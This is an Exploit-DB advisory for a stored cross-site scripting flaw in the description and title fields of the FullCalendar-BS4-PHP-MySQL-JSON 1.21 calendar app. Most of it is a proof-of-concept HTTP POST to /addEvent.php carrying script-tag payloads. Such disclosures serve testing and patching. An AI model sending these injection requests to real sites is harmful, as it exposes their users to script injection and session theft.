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## https://sploitus.com/exploit?id=EDB-ID:47548
Exploit Title: waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 - 'description' Cross-Site Scripting
Date: 2019-10-28
Exploit Author: Cakes
Vendor Homepage: waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON
Software Link: https://github.com/waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON.git
Version: 1.21
Tested on: CentOS7
CVE : N/A
# Description:
# Cross-Site scripting vulnerability in the description field. This XSS completely breaks the web application.
#POC
POST /addEvent.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.20/calendar03/
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
Cookie: PHPSESSID=t41kk4huqaluhcfghvqqvucl56
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
title=%3Cscript%3Ealert%28%22TEST-Title%22%29%3B%3C%2Fscript%3E&description=%3Cscript%3Ealert%28%22TEST-Description%22%29%3B%3C%2Fscript%3E&color=%230071c5&start=2019-01-23+00%3A00%3A00&end=2019-01-24+00%3A00%3A00